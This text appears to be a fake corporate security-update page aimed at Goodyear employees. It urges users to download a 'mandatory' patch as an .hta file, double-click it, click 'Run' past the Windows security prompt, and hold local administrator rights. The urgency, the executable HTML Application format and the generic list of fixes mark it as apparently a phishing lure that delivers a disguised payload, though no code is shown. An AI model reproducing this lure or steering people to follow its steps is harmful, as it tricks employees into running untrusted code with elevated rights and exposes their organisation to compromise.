November 2025 Security Patch - Version 2025.11.20
This mandatory security patch addresses critical vulnerabilities in Windows endpoints and enterprise applications. The update includes security fixes, performance improvements, and compatibility updates for all Goodyear managed devices.
Download Security Patch
Click the button below to download the patch installer. Installation will take approximately 2 minutes.
Installation Instructions
Step 1: Download the Patch
Click the download button above to start downloading the patch installer. The file will be saved to your Downloads folder with the filename GY-SEC-PATCH-2025.11.20.hta.
Step 2: Confirm Download in Browser
Your browser will show the download progress and completion. Once downloaded, you'll see the file appear in your browser's download bar or notification.
Step 3: Double-Click and Run
Navigate to your Downloads folder, double-click on GY-SEC-PATCH-2025.11.20.hta, and click "Run" when prompted by Windows security.
Step 4: Patch Installation Complete
The patch will install automatically. You'll see a confirmation once the installation is complete.
System Requirements
-
Operating System:
Windows 10 (1809+) or Windows 11 -
Disk Space:
Minimum 500 MB available -
Memory:
4 GB RAM or higher -
Connection:
Stable internet for download -
Permissions:
Local administrator rights
What's Included
- Critical Windows security updates
- VPN client vulnerability fixes
- Endpoint protection updates
- Microsoft Office security patches
- Browser security enhancements
- Network driver updates
Need Help?
If you encounter any issues during installation: